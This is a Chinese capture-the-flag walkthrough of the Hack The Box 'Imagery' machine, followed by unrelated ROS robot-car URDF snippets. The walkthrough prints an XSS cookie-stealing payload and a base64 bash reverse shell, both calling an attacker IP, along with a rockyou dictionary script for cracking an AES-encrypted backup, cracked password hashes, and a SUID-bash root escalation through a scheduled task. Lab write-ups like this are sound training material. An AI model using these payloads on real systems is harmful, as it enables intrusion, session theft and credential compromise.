HTB<Imagery>通关教程

确认ip:

测试连通性:

扫描端口及服务:

识别CMS:

访问web且启动burp:

xss测试:<img src=x οnerrοr="location.href='http://10.10.16.16/steal?cookie='+ document.cookie">

kali启动http服务监听:python3 -m http.server 80

获得管理员的cookie:GET /steal?cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aQB3zA.NqEGYG82bCnpZE89wy22axcueM8

在bp里设置替换cookie:

设置完勾选上:

利用cookie欺骗,发现admin多一个downloadlog功能点,抓包看看:

发现存在文件包含漏洞,查看文件:/config.py发现db.json:

顺藤摸瓜找到用户名和密码:

利用CMD5解密为:

username": "admin@imagery.htb",

"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31"没解出来

"username": testuser@imagery.htb

"password": "2c65c8d7bfbca32a3ed42596192384f6"/iambatman

利用 testuser@imagery.htb/iambatman登录,上传一张图片:

发裁剪图片功能存在注入点:传入反弹shell并打开kali监听

"x":"0;`printf YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNi81NTU1IDA+JjE= | base64 -d | bash`;",

kali启动监听获取文件nc -lnvp 5555 >web_20250806_120723.zip.aes

在反弹shell中发送文件,解析文件加密格式为 pyAesCrypt 6.1(AES-256-CBC,AES Crypt v2 格式):

创建个解密爆破脚本:

#!/usr/bin/env python3
"""
使用字典攻击方式尝试解密AES加密的ZIP文件
"""

import pyAesCrypt
import os
import sys

# ==================== 配置区域 ====================
# 在此处修改以下参数以适应您的需求

# 加密文件路径(需要解密的文件)
ENCRYPTED_FILE = "web_20250806_120723.zip.aes"

# 解密后输出文件路径
DECRYPTED_FILE = "d.zip"

# 密码字典文件路径(常用的rockyou.txt字典)
WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"

# 加解密缓冲区大小(影响性能和内存使用)
BUFFER_SIZE = 64 * 1024  # 64KB缓冲区

# ==================== 主程序 ====================

def main():
    """
    主函数:执行AES文件暴力破解
    """
    # 打印启动信息
    print(f"[+] 开始对 {ENCRYPTED_FILE} 进行字典攻击")
    print(f"[+] 使用字典: {WORDLIST_PATH}")
    print(f"[+] 缓冲区大小: {BUFFER_SIZE} 字节")
    print("-" * 50)
    
    # 检查加密文件是否存在
    if not os.path.exists(ENCRYPTED_FILE):
        print(f"[-] 错误: 加密文件不存在: {ENCRYPTED_FILE}")
        sys.exit(1)
    
    try:
        # 打开密码字典文件
        with open(WORDLIST_PATH, 'r', encoding='latin-1') as f:
            # 初始化计数器
            attempts = 0
            
            # 遍历字典中的每一行(每个密码)
            for line in f:
                password = line.strip()  # 去除首尾空白字符
                
                # 跳过空密码
                if not password:
                    continue
                
                attempts += 1  # 增加尝试计数
                
                # 可选:每1000次尝试显示一次进度(取消注释以启用)
                # if attempts % 1000 == 0:
                #     print(f"[*] 已尝试 {attempts} 个密码...")
                
                # 可选:显示当前尝试的密码(取消注释以启用,但会降低速度)
                # print(f"[-] 尝试密码: {password}")
                
                try:
                    # 尝试使用当前密码解密文件
                    # pyAesCrypt.decryptFile会在解密成功时返回None,失败时抛出异常
                    pyAesCrypt.decryptFile(
                        ENCRYPTED_FILE,      # 输入:加密文件路径
                        DECRYPTED_FILE,      # 输出:解密后文件路径
                        password,            # 当前尝试的密码
                        BUFFER_SIZE          # 缓冲区大小
                    )
                    
                    # 如果执行到这里,说明解密成功!
                    print(f"\n[+] 成功!找到密码: {password}")
                    print(f"[+] 总尝试次数: {attempts}")
                    print(f"[+] 解密文件已保存为: {DECRYPTED_FILE}")
                    
                    # 验证解密文件是否存在且有效
                    if os.path.exists(DECRYPTED_FILE) and os.path.getsize(DECRYPTED_FILE) > 0:
                        print("[+] 文件验证: 成功")
                    else:
                        print("[-] 警告: 解密文件可能损坏")
                    
                    # 成功找到密码,正常退出程序
                    sys.exit(0)
                    
                except ValueError:
                    # ValueError异常表示密码错误,这是正常情况
                    # 忽略此异常,继续尝试下一个密码
                    pass
                    
                except Exception as e:
                    # 捕获其他异常(如文件损坏、权限问题等)
                    print(f"\n[-] 严重错误: {e}")
                    print(f"[-] 最后尝试的密码: {password}")
                    sys.exit(1)
    
    except FileNotFoundError:
        # 密码字典文件不存在
        print(f"[-] 错误: 密码字典文件不存在: {WORDLIST_PATH}")
        print("[!] 请确保已安装rockyou.txt字典或修改WORDLIST_PATH配置")
        sys.exit(1)
        
    except KeyboardInterrupt:
        # 用户按Ctrl+C中断程序
        print(f"\n[!] 用户中断,已尝试 {attempts} 个密码")
        sys.exit(1)
    
    # 如果循环结束仍未找到密码
    print(f"\n[-] 失败: 已尝试所有 {attempts} 个密码,未找到正确密码")
    print("[!] 建议: 尝试使用更大的密码字典或检查文件是否使用AES加密")

# 程序入口点
if __name__ == "__main__":
    main()

运行脚本,解出Password: bestfriends 利用hashcat破解hash得到:

  • 2c65c8d7bfbca32a3ed42596192384f6:iambatman
  • 01c3d2e5bdaf6134cec0a367cf53e535:supersmash

ssh没成功,直接su切换到mark用户,开始提权,发现charcol:

执行charcol> auto add --schedule "* * * * *" --command "chmod +s /usr/bin/bash" --name "hack"

创建一个每分钟运行一次的定时任务chmod +s /usr/bin/bash,名字为hack

  • chmod +s 设置SUID权限
  • 任何用户执行bash都会以文件所有者权限(通常是root)运行
  • 普通用户可以通过 /usr/bin/bash -p 获得root shell

执行后返回root的shell,查看root/root.txt,结束:

<?xml version="1.0"?> <robot name="car" xmlns:xacro="http://ros.org/wiki/xacro"> <!-- 1. Base Links --> <link name="base_footprint"> <visual> <geometry> <sphere radius="0.001"/> </geometry> </visual> </link> <link name="base_link"> <inertial> <mass value="2.0"/> <inertia ixx="0.01" ixy="0.0" ixz="0.0" iyy="0.01" iyz="0.0" izz="0.01"/> </inertial> <visual> <geometry> <cylinder radius="0.1" length="0.08"/> </geometry> <origin xyz="0 0 0" rpy="0 0 0"/> <material name="base"> <color rgba="1 0 0 1"/> <!-- 红色 --> </material> </visual> <collision> <geometry> <cylinder radius="0.1" length="0.08"/> </geometry> </collision> </link> <joint name="ltf" type="fixed"> <parent link="base_footprint"/> <child link="base_link"/> <origin xyz="0 0 0.055" rpy="0 0 0"/> </joint> <!-- 2. Wheels --> <link name="left"> <inertial> <mass value="0.1"/> <inertia ixx="5.28e-5" ixy="0.0" ixz="0.0" iyy="5.28e-5" iyz="0.0" izz="5.28e-5"/> </inertial> <visual> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> <origin xyz="0 0 0" rpy="1.5708 0 0"/> <!-- 绕X轴旋转90度 --> <material name="left"> <color rgba="0 0 1 1"/> <!-- 蓝色 --> </material> </visual> <collision> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> </collision> </link> <link name="right"> <inertial> <mass value="0.1"/> <inertia ixx="5.28e-5" ixy="0.0" ixz="0.0" iyy="5.28e-5" iyz="0.0" izz="5.28e-5"/> </inertial> <visual> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> <origin xyz="0 0 0" rpy="1.5708 0 0"/> <material name="right"> <color rgba="0 1 1 1"/> <!-- 青色 --> </material> </visual> <collision> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> </collision> </link> <joint name="base_l_wheel_joint" type="continuous"> <parent link="base_link"/> <child link="left"/> <origin xyz="0 0.1 -0.0225" rpy="0 0 0"/> <axis xyz="0 1 0"/> <dynamics damping="0.1" friction="1.0"/> </joint> <joint name="base_r_wheel_joint" type="continuous"> <parent link="base_link"/> <child link="right"/> <origin xyz="0 -0.1 -0.0225" rpy="0 0 0"/> <axis xyz="0 1 0"/> <dynamics damping="0.1" friction="1.0"/> </joint> <!-- 3. Caster Wheels --> <link name="qwx"> <inertial> <mass value="0.05"/> <inertia ixx="1.125e-6" ixy="0.0" ixz="0.0" iyy="1.125e-6" iyz="0.0" izz="1.125e-6"/> </inertial> <visual> <geometry> <sphere radius="0.0075"/> </geometry> <material name="caster"> <color rgba="1 1 0 1"/> <!-- 黄色 --> </material> </visual> <collision> <geometry> <sphere radius="0.0075"/> </geometry> </collision> </link> <link name="hwx"> <inertial> <mass value="0.05"/> <inertia ixx="1.125e-6" ixy="0.0" ixz="0.0" iyy="1.125e-6" iyz="0.0" izz="1.125e-6"/> </inertial> <visual> <geometry> <sphere radius="0.0075"/> </geometry> <material name="caster"> <color rgba="1 0.5 0 1"/> <!-- 橙色 --> </material> </visual> <collision> <geometry> <sphere radius="0.0075"/> </geometry> </collision> </link> <joint name="qtb" type="continuous"> <parent link="base_link"/> <child link="qwx"/> <origin xyz="0.08 0 -0.0425" rpy="0 0 0"/> <axis xyz="0 1 0"/> </joint> <joint name="htb" type="continuous"> <parent link="base_link"/> <child link="hwx"/> <origin xyz="-0.08 0 -0.0425" rpy="0 0 0"/> <axis xyz="0 1 0"/> </joint> <!-- 4. Laser Sensor --> <link name="laserzj"> <inertial> <mass value="0.05"/> <inertia ixx="1e-6" ixy="0.0" ixz="0.0" iyy="1e-6" iyz="0.0" izz="1e-6"/> </inertial> <visual> <geometry> <cylinder radius="0.01" length="0.05"/> </geometry> <material name="laserzj"> <color rgba="0 1 0 1"/> <!-- 绿色 --> </material> </visual> <collision> <geometry> <cylinder radius="0.01" length="0.05"/> </geometry> </collision> </link> <link name="laser"> <inertial> <mass value="0.1"/> <inertia ixx="3.4e-5" ixy="0.0" ixz="0.0" iyy="3.4e-5" iyz="0.0" izz="2.0e-5"/> </inertial> <visual> <geometry> <cylinder radius="0.02" length="0.02"/> </geometry> <material name="laser"> <color rgba="1 0 1 1"/> <!-- 品红 --> </material> </visual> <collision> <geometry> <cylinder radius="0.02" length="0.02"/> </geometry> </collision> </link> <joint name="zjtb" type="fixed"> <parent link="base_link"/> <child link="laserzj"/> <origin xyz="0 0 0.06" rpy="0 0 0"/> </joint> <joint name="lasertb" type="fixed"> <parent link="laserzj"/> <child link="laser"/> <origin xyz="0 0 0.03" rpy="0 0 0"/> </joint> <!-- Gazebo Plugins --> <!-- 差速驱动控制器 --> <gazebo> <plugin name="diff_drive_plugin" filename="libgazebo_ros_diff_drive.so"> <alwaysOn>true</alwaysOn> <updateRate>100.0</updateRate> <leftJoint>base_l_wheel_joint</leftJoint> <rightJoint>base_r_wheel_joint</rightJoint> <wheelSeparation>0.2</wheelSeparation> <wheelDiameter>0.065</wheelDiameter> <torque>5.0</torque> <commandTopic>/cmd_vel</commandTopic> <odometryTopic>/odom</odometryTopic> <odometryFrame>/odom</odometryFrame> <robotBaseFrame>/base_link</robotBaseFrame> </plugin> </gazebo> <!-- 激光雷达传感器 --> <gazebo reference="laser"> <sensor type="ray" name="laser_sensor"> <pose>0 0 0 0 0 0</pose> <visualize>true</visualize> <update_rate>40</update_rate> <ray> <scan> <horizontal> <samples>360</samples> <resolution>1</resolution> <min_angle>-1.5708</min_angle> <max_angle>1.5708</max_angle> </horizontal> </scan> <range> <min>0.1</min> <max>3.0</max> <resolution>0.01</resolution> </range> <noise> <type>gaussian</type> <mean>0.0</mean> <stddev>0.01</stddev> </noise> </ray> <plugin name="gazebo_ros_laser" filename="libgazebo_ros_laser.so"> <topicName>/scan</topicName> <frameName>laser</frameName> </plugin> </sensor> </gazebo> <!-- 轮子摩擦力设置 --> <gazebo reference="left"> <mu1>1.0</mu1> <mu2>1.0</mu2> <kp>1e6</kp> <kd>1.0</kd> </gazebo> <gazebo reference="right"> <mu1>1.0</mu1> <mu2>1.0</mu2> <kp>1e6</kp> <kd>1.0</kd> </gazebo> <!-- 万向轮也建议设置 --> <gazebo reference="qwx"> <mu1>1.0</mu1> <mu2>1.0</mu2> </gazebo> <gazebo reference="hwx"> <mu1>1.0</mu1> <mu2>1.0</mu2> </gazebo> </robot> 修改颜色设置使用<gazebo reference>
09-18
<?xml version="1.0"?> <robot name="car" xmlns:xacro="http://ros.org/wiki/xacro"> <!-- 1. Base Links --> <link name="base_footprint"> <visual> <geometry> <sphere radius="0.001"/> </geometry> </visual> </link> <link name="base_link"> <inertial> <mass value="2.0"/> <inertia ixx="0.01" ixy="0.0" ixz="0.0" iyy="0.01" iyz="0.0" izz="0.01"/> </inertial> <visual> <geometry> <cylinder radius="0.1" length="0.08"/> </geometry> <origin xyz="0 0 0" rpy="0 0 0"/> <material name="base"> <color rgba="1 0 0 1"/> </material> </visual> <collision> <geometry> <cylinder radius="0.1" length="0.08"/> </geometry> </collision> </link> <joint name="ltf" type="fixed"> <parent link="base_footprint"/> <child link="base_link"/> <origin xyz="0 0 0.055" rpy="0 0 0"/> </joint> <!-- 2. Wheels --> <link name="left"> <inertial> <mass value="0.1"/> <inertia ixx="0.001" ixy="0.0" ixz="0.0" iyy="0.001" iyz="0.0" izz="0.001"/> </inertial> <visual> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> <origin xyz="0 0 0" rpy="1.5708 0 0"/> <material name="left"> <color rgba="0 0 0 1"/> </material> </visual> <collision> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> </collision> </link> <link name="right"> <inertial> <mass value="0.1"/> <inertia ixx="0.001" ixy="0.0" ixz="0.0" iyy="0.001" iyz="0.0" izz="0.001"/> </inertial> <visual> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> <origin xyz="0 0 0" rpy="1.5708 0 0"/> <material name="right"> <color rgba="0 0 0 1"/> </material> </visual> <collision> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> </collision> </link> <joint name="base_l_wheel_joint" type="continuous"> <parent link="base_link"/> <child link="left"/> <origin xyz="0 0.1 -0.0225" rpy="0 0 0"/> <axis xyz="0 1 0"/> <dynamics damping="0.1" friction="1.0"/> </joint> <joint name="base_r_wheel_joint" type="continuous"> <parent link="base_link"/> <child link="right"/> <origin xyz="0 -0.1 -0.0225" rpy="0 0 0"/> <axis xyz="0 1 0"/> <dynamics damping="0.1" friction="1.0"/> </joint> <!-- 3. Caster Wheels --> <link name="qwx"> <inertial> <mass value="0.05"/> <inertia ixx="0.0001" ixy="0.0" ixz="0.0" iyy="0.0001" iyz="0.0" izz="0.0001"/> </inertial> <visual> <geometry> <sphere radius="0.0075"/> </geometry> <material name="caster"> <color rgba="0 0 0 1"/> </material> </visual> <collision> <geometry> <sphere radius="0.0075"/> </geometry> </collision> </link> <link name="hwx"> <inertial> <mass value="0.05"/> <inertia ixx="0.0001" ixy="0.0" ixz="0.0" iyy="0.0001" iyz="0.0" izz="0.0001"/> </inertial> <visual> <geometry> <sphere radius="0.0075"/> </geometry> <material name="caster"> <color rgba="0 0 0 1"/> </material> </visual> <collision> <geometry> <sphere radius="0.0075"/> </geometry> </collision> </link> <joint name="qtb" type="continuous"> <parent link="base_link"/> <child link="qwx"/> <origin xyz="0.08 0 -0.0425" rpy="0 0 0"/> <axis xyz="0 1 0"/> </joint> <joint name="htb" type="continuous"> <parent link="base_link"/> <child link="hwx"/> <origin xyz="-0.08 0 -0.0425" rpy="0 0 0"/> <axis xyz="0 1 0"/> </joint> <!-- 4. Laser Sensor --> <link name="laserzj"> <visual> <geometry> <cylinder radius="0.01" length="0.05"/> </geometry> <material name="laserzj"> <color rgba="0 1 0 1"/> </material> </visual> </link> <link name="laser"> <visual> <geometry> <cylinder radius="0.02" length="0.02"/> </geometry> <material name="laser"> <color rgba="1 0 0 1"/> </material> </visual> </link> <joint name="zjtb" type="fixed"> <parent link="base_link"/> <child link="laserzj"/> <origin xyz="0 0 0.06" rpy="0 0 0"/> </joint> <joint name="lasertb" type="fixed"> <parent link="laserzj"/> <child link="laser"/> <origin xyz="0 0 0.03" rpy="0 0 0"/> </joint> <!-- Gazebo Plugins --> <gazebo> <plugin name="gazebo_ros_control" filename="libgazebo_ros_control.so"> <robotNamespace>/</robotNamespace> </plugin> </gazebo> <gazebo reference="laser"> <sensor type="ray" name="laser"> <pose>0 0 0 0 0 0</pose> <visualize>true</visualize> <update_rate>40</update_rate> <ray> <scan> <horizontal> <samples>360</samples> <resolution>1</resolution> <min_angle>-1.5708</min_angle> <max_angle>1.5708</max_angle> </horizontal> </scan> <range> <min>0.1</min> <max>3.0</max> <resolution>0.01</resolution> </range> <noise> <type>gaussian</type> <mean>0.0</mean> <stddev>0.01</stddev> </noise> </ray> <plugin name="gazebo_ros_ray_sensor" filename="libgazebo_ros_ray_sensor.so"> <topicName>/scan</topicName> <frameId>laser</frameId> </plugin> </sensor> </gazebo> </robot>
09-18
<?xml version="1.0"?> <robot name="car" xmlns:xacro="http://ros.org/wiki/xacro"> <!-- 1. Base Links --> <link name="base_footprint"> <visual> <geometry> <sphere radius="0.001"/> </geometry> </visual> </link> <link name="base_link"> <inertial> <mass value="2.0"/> <inertia ixx="0.01" ixy="0.0" ixz="0.0" iyy="0.01" iyz="0.0" izz="0.01"/> </inertial> <visual> <geometry> <cylinder radius="0.1" length="0.08"/> </geometry> <origin xyz="0 0 0" rpy="0 0 0"/> <material name="base"> <color rgba="1 0 0 1"/> </material> </visual> <collision> <geometry> <cylinder radius="0.1" length="0.08"/> </geometry> </collision> </link> <joint name="ltf" type="fixed"> <parent link="base_footprint"/> <child link="base_link"/> <origin xyz="0 0 0.055" rpy="0 0 0"/> </joint> <!-- 2. Wheels --> <link name="left"> <inertial> <mass value="0.1"/> <inertia ixx="0.001" ixy="0.0" ixz="0.0" iyy="0.001" iyz="0.0" izz="0.001"/> </inertial> <visual> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> <origin xyz="0 0 0" rpy="1.5708 0 0"/> <material name="left"> <color rgba="0 0 0 1"/> </material> </visual> <collision> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> </collision> </link> <link name="right"> <inertial> <mass value="0.1"/> <inertia ixx="0.001" ixy="0.0" ixz="0.0" iyy="0.001" iyz="0.0" izz="0.001"/> </inertial> <visual> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> <origin xyz="0 0 0" rpy="1.5708 0 0"/> <material name="right"> <color rgba="0 0 0 1"/> </material> </visual> <collision> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> </collision> </link> <joint name="base_l_wheel_joint" type="continuous"> <parent link="base_link"/> <child link="left"/> <origin xyz="0 0.1 -0.0225" rpy="0 0 0"/> <axis xyz="0 1 0"/> <dynamics damping="0.1" friction="1.0"/> </joint> <joint name="base_r_wheel_joint" type="continuous"> <parent link="base_link"/> <child link="right"/> <origin xyz="0 -0.1 -0.0225" rpy="0 0 0"/> <axis xyz="0 1 0"/> <dynamics damping="0.1" friction="1.0"/> </joint> <!-- 3. Caster Wheels --> <link name="qwx"> <inertial> <mass value="0.05"/> <inertia ixx="0.0001" ixy="0.0" ixz="0.0" iyy="0.0001" iyz="0.0" izz="0.0001"/> </inertial> <visual> <geometry> <sphere radius="0.0075"/> </geometry> <material name="caster"> <color rgba="0 0 0 1"/> </material> </visual> <collision> <geometry> <sphere radius="0.0075"/> </geometry> </collision> </link> <link name="hwx"> <inertial> <mass value="0.05"/> <inertia ixx="0.0001" ixy="0.0" ixz="0.0" iyy="0.0001" iyz="0.0" izz="0.0001"/> </inertial> <visual> <geometry> <sphere radius="0.0075"/> </geometry> <material name="caster"> <color rgba="0 0 0 1"/> </material> </visual> <collision> <geometry> <sphere radius="0.0075"/> </geometry> </collision> </link> <joint name="qtb" type="continuous"> <parent link="base_link"/> <child link="qwx"/> <origin xyz="0.08 0 -0.0425" rpy="0 0 0"/> <axis xyz="0 1 0"/> </joint> <joint name="htb" type="continuous"> <parent link="base_link"/> <child link="hwx"/> <origin xyz="-0.08 0 -0.0425" rpy="0 0 0"/> <axis xyz="0 1 0"/> </joint> <!-- 4. Laser Sensor --> <link name="laserzj"> <visual> <geometry> <cylinder radius="0.01" length="0.05"/> </geometry> <material name="laserzj"> <color rgba="0 1 0 1"/> </material> </visual> </link> <link name="laser"> <visual> <geometry> <cylinder radius="0.02" length="0.02"/> </geometry> <material name="laser"> <color rgba="1 0 0 1"/> </material> </visual> </link> <joint name="zjtb" type="fixed"> <parent link="base_link"/> <child link="laserzj"/> <origin xyz="0 0 0.06" rpy="0 0 0"/> </joint> <joint name="lasertb" type="fixed"> <parent link="laserzj"/> <child link="laser"/> <origin xyz="0 0 0.03" rpy="0 0 0"/> </joint> <!-- Gazebo Plugins --> <gazebo> <plugin name="gazebo_ros_control" filename="libgazebo_ros_control.so"> <robotNamespace>/</robotNamespace> </plugin> </gazebo> <gazebo reference="laser"> <sensor type="ray" name="laser"> <pose>0 0 0 0 0 0</pose> <visualize>true</visualize> <update_rate>40</update_rate> <ray> <scan> <horizontal> <samples>360</samples> <resolution>1</resolution> <min_angle>-1.5708</min_angle> <max_angle>1.5708</max_angle> </horizontal> </scan> <range> <min>0.1</min> <max>3.0</max> <resolution>0.01</resolution> </range> <noise> <type>gaussian</type> <mean>0.0</mean> <stddev>0.01</stddev> </noise> </ray> <plugin name="gazebo_ros_ray_sensor" filename="libgazebo_ros_ray_sensor.so"> <topicName>/scan</topicName> <frameId>laser</frameId> </plugin> </sensor> </gazebo> </robot>
09-18
<?xml version="1.0"?> <robot name="car" xmlns:xacro="http://ros.org/wiki/xacro"> <!-- 1. Base Links --> <link name="base_footprint"> <visual> <geometry> <sphere radius="0.001"/> </geometry> </visual> </link> <link name="base_link"> <inertial> <mass value="2.0"/> <inertia ixx="0.01" ixy="0.0" ixz="0.0" iyy="0.01" iyz="0.0" izz="0.01"/> </inertial> <visual> <geometry> <cylinder radius="0.1" length="0.08"/> </geometry> <origin xyz="0 0 0" rpy="0 0 0"/> <material name="base"> <color rgba="1 0 0 1"/> <!-- 红色 - RViz 使用 --> </material> </visual> <collision> <geometry> <cylinder radius="0.1" length="0.08"/> </geometry> </collision> </link> <joint name="ltf" type="fixed"> <parent link="base_footprint"/> <child link="base_link"/> <origin xyz="0 0 0.055" rpy="0 0 0"/> </joint> <!-- 2. Wheels --> <link name="left"> <inertial> <mass value="0.1"/> <inertia ixx="5.28e-5" ixy="0.0" ixz="0.0" iyy="5.28e-5" iyz="0.0" izz="5.28e-5"/> </inertial> <visual> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> <origin xyz="0 0 0" rpy="1.5708 0 0"/> </visual> <collision> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> </collision> </link> <link name="right"> <inertial> <mass value="0.1"/> <inertia ixx="5.28e-5" ixy="0.0" ixz="0.0" iyy="5.28e-5" iyz="0.0" izz="5.28e-5"/> </inertial> <visual> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> <origin xyz="0 0 0" rpy="1.5708 0 0"/> </visual> <collision> <geometry> <cylinder radius="0.0325" length="0.015"/> </geometry> </collision> </link> <joint name="base_l_wheel_joint" type="continuous"> <parent link="base_link"/> <child link="left"/> <origin xyz="0 0.1 -0.0225" rpy="0 0 0"/> <axis xyz="0 1 0"/> <dynamics damping="0.1" friction="1.0"/> </joint> <joint name="base_r_wheel_joint" type="continuous"> <parent link="base_link"/> <child link="right"/> <origin xyz="0 -0.1 -0.0225" rpy="0 0 0"/> <axis xyz="0 1 0"/> <dynamics damping="0.1" friction="1.0"/> </joint> <!-- 3. Caster Wheels --> <link name="qwx"> <inertial> <mass value="0.05"/> <inertia ixx="1.125e-6" ixy="0.0" ixz="0.0" iyy="1.125e-6" iyz="0.0" izz="1.125e-6"/> </inertial> <visual> <geometry> <sphere radius="0.0075"/> </geometry> <material name="caster"> <color rgba="1 1 0 1"/> <!-- 黄色 - RViz --> </material> </visual> <collision> <geometry> <sphere radius="0.0075"/> </geometry> </collision> </link> <link name="hwx"> <inertial> <mass value="0.05"/> <inertia ixx="1.125e-6" ixy="0.0" ixz="0.0" iyy="1.125e-6" iyz="0.0" izz="1.125e-6"/> </inertial> <visual> <geometry> <sphere radius="0.0075"/> </geometry> <material name="caster"> <color rgba="1 0.5 0 1"/> <!-- 橙色 - RViz --> </material> </visual> <collision> <geometry> <sphere radius="0.0075"/> </geometry> </collision> </link> <joint name="qtb" type="continuous"> <parent link="base_link"/> <child link="qwx"/> <origin xyz="0.08 0 -0.0425" rpy="0 0 0"/> <axis xyz="0 1 0"/> </joint> <joint name="htb" type="continuous"> <parent link="base_link"/> <child link="hwx"/> <origin xyz="-0.08 0 -0.0425" rpy="0 0 0"/> <axis xyz="0 1 0"/> </joint> <!-- 4. Laser Sensor --> <link name="laserzj"> <inertial> <mass value="0.05"/> <inertia ixx="1e-6" ixy="0.0" ixz="0.0" iyy="1e-6" iyz="0.0" izz="1e-6"/> </inertial> <visual> <geometry> <cylinder radius="0.01" length="0.05"/> </geometry> <material name="laserzj"> <color rgba="0 1 0 1"/> <!-- 绿色 - RViz --> </material> </visual> <collision> <geometry> <cylinder radius="0.01" length="0.05"/> </geometry> </collision> </link> <link name="laser"> <inertial> <mass value="0.1"/> <inertia ixx="3.4e-5" ixy="0.0" ixz="0.0" iyy="3.4e-5" iyz="0.0" izz="2.0e-5"/> </inertial> <visual> <geometry> <cylinder radius="0.02" length="0.02"/> </geometry> <material name="laser"> <color rgba="1 0 1 1"/> <!-- 品红 - RViz --> </material> </visual> <collision> <geometry> <cylinder radius="0.02" length="0.02"/> </geometry> </collision> </link> <joint name="zjtb" type="fixed"> <parent link="base_link"/> <child link="laserzj"/> <origin xyz="0 0 0.06" rpy="0 0 0"/> </joint> <joint name="lasertb" type="fixed"> <parent link="laserzj"/> <child link="laser"/> <origin xyz="0 0 0.03" rpy="0 0 0"/> </joint> <!-- =============== GAZEBO MATERIALS (颜色设置) =============== --> <!-- 底盘:红色 --> <gazebo reference="base_link"> <material>Gazebo/Red</material> </gazebo> <!-- 左轮:蓝色 --> <gazebo reference="left"> <material>Gazebo/Blue</material> <mu1>1.0</mu1> <mu2>1.0</mu2> <kp>1e6</kp> <kd>1.0</kd> </gazebo> <!-- 右轮:青色 --> <gazebo reference="right"> <material>Gazebo/Cyan</material> <mu1>1.0</mu1> <mu2>1.0</mu2> <kp>1e6</kp> <kd>1.0</kd> </gazebo> <!-- 前万向轮:黄色 --> <gazebo reference="qwx"> <material>Gazebo/Yellow</material> <mu1>1.0</mu1> <mu2>1.0</mu2> </gazebo> <!-- 后万向轮:橙色 --> <gazebo reference="hwx"> <material>Gazebo/Orange</material> <mu1>1.0</mu1> <mu2>1.0</mu2> </gazebo> <!-- 激光支架:绿色 --> <gazebo reference="laserzj"> <material>Gazebo/Green</material> </gazebo> <!-- 激光主体:品红 --> <gazebo reference="laser"> <material>Gazebo/Magenta</material> </gazebo> <!-- =============== PLUGINS =============== --> <!-- 差速驱动控制器 --> <gazebo> <plugin name="diff_drive_plugin" filename="libgazebo_ros_diff_drive.so"> <alwaysOn>true</alwaysOn> <updateRate>100.0</updateRate> <leftJoint>base_l_wheel_joint</leftJoint> <rightJoint>base_r_wheel_joint</rightJoint> <wheelSeparation>0.2</wheelSeparation> <wheelDiameter>0.065</wheelDiameter> <torque>5.0</torque> <commandTopic>/cmd_vel</commandTopic> <odometryTopic>/odom</odometryTopic> <odometryFrame>/odom</odometryFrame> <robotBaseFrame>/base_link</robotBaseFrame> </plugin> </gazebo> <!-- 激光雷达传感器 --> <gazebo reference="laser"> <sensor type="ray" name="laser_sensor"> <pose>0 0 0 0 0 0</pose> <visualize>true</visualize> <update_rate>40</update_rate> <ray> <scan> <horizontal> <samples>360</samples> <resolution>1</resolution> <min_angle>-1.5708</min_angle> <max_angle>1.5708</max_angle> </horizontal> </scan> <range> <min>0.1</min> <max>3.0</max> <resolution>0.01</resolution> </range> <noise> <type>gaussian</type> <mean>0.0</mean> <stddev>0.01</stddev> </noise> </ray> <plugin name="gazebo_ros_laser" filename="libgazebo_ros_laser.so"> <topicName>/scan</topicName> <frameName>laser</frameName> </plugin> </sensor> </gazebo> </robot> 车身不水平,y正轴太高,并且一个轮子悬空,一个轮子在坐标轴下,轮子没有平躺,右轮异常,在一半在坐标轴下,修改代码,给我修改后的代码
09-18
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

豪门土狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值